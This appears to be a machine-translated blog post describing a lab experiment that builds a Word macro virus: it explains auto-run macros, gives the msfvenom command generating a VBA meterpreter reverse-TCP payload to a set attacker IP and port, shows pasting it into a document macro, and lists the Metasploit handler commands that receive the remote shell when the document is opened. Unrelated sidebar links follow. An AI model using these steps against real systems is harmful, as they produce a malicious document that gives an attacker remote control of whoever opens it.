当前位置:网站首页>Office macro virus bounce shell experiment
Office macro virus bounce shell experiment
2022-06-25 04:29:00 【AFCC_】
0x00 What is a macro virus
Macro viruses are Word Macro code with malicious behavior embedded in (VBA Code ), When opening with macro virus word When the document , The embedded macro code runs automatically
Word Recognize the following names as automatic macros , Or called “auto” macro , When the corresponding action is executed , Will automatically call the VBA Code .
AutoExec: start-up Word Or when loading the global template
AutoNew: Every time you create a new document
AutoOpen: Every time you open an existing document
AutoClose: Every time you close a document 0x01 Simple experimental environment construction
The environment of this experiment is :
win_10
word_2013
VM_kali_linux_2018( Bridging mode )
First, in the computer word Trust Center settings , open Start all macros Options , And trust VBA Access to the engineering object model , In order to better view the experimental results .

Select the macro in the developer tool , After editing the macro name and macro location, click Create , Get into VBA Code editing interface .


0x02 The experiment begins
After the preparatory work , stay kali Use in msfvenom Generate a vba Type of rear door msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.169 LPORT=6666 -f vba -o test.vba

take vba Copy the code in the file into the code editing interface just now , And save .
see windows The host ip Address

stay msf Set native listening in :
use exploit/multi/handler # Select Ze monitoring module
set payload windows/meterpreter/reverse_tcp # Select the same type as the Trojan horse
set LHOST 192.168.1.169 # Set up this machine ip monitor
set LPORT 6666 # Set the local listening port
exploit # Perform monitoring When windows Open our generated test.docx when ,msf Received from 192.168.1.249 The connection of .

边栏推荐
- Cesium loading display thermal diagram
- OBS Browser+浏览器的基本使用
- Laravel document sorting 7. View
- Shutter fittedbox component
- Laravel document sorting 3. CSRF protection
- SQL injection details
- Finereport (sail soft) handling the problem that the histogram data label is blocked
- Summary of various problems encountered by cocos2d-x
- Introduction to intstream API
- Laravel document sorting 6. Response
猜你喜欢

Basic use of OBS browser+ browser

论文笔记: 多标签学习 ESMC (没看懂, 还没写出来, 暂时放这里占个位置)
![LeetCode 剑指Offer II 091 粉刷房子[动态规划] HERODING的LeetCode之路](/img/ad/69fce7cf064479a0ddd477fb935de2.png)
LeetCode 剑指Offer II 091 粉刷房子[动态规划] HERODING的LeetCode之路

Cesium loading display thermal diagram

Hot and cold, sweet and sour, want to achieve success? Dengkang oral, the parent company of lengsuanling, intends to be listed on the main board of Shenzhen Stock Exchange

关于TCP连接四次握手(或者叫四次挥手)的详细总结

数字时代的“文艺复兴”?起底数字藏品,让人欢喜让人愁

1. first knowledge of chromatic harmonica

Nodejs 通过Heidisql连接mysql出现ER_BAD_DB_ERROR: Unknown database 'my_db_books'

Simple integration of client go gin -update
随机推荐
Finereport (sail soft) handling the problem that the histogram data label is blocked
What is persistence? What are RDB and AOF in redis persistence?
Uniapp makes mobile app programs, using uni Choosevideo record video, video playback is fuzzy, and the resolution is low
如何筛选出和产品相关的词,精准排除掉无效词
[openwrt] we recommend a domestically developed version of openwrt, an introduction to istoreos. It is very easy to use. It is mainly optimized. It solves the problem of Sinicization.
Laravel document sorting 1. Installation and Preliminary Configuration
Finereport displays and hides column data according to conditions
Laravel document sorting 3. CSRF protection
Retrofit source code analysis
Communication problems in parent and child components of uniapp
A detailed summary of four handshakes (or four waves) over TCP connections
2020.3.3 notes async/await and promise and Then processes and threads
SQL injection details
Easyrecovery15 very easy to use computer data recovery software
【LeetCode】148. 排序链表
LabVIEW开发气体调节器
Laravel document sorting 8. Middleware
Lecture record: history and development of strapdown inertial navigation solution
1280_C语言求两个无符号整形的平均值
2021.6.14 notes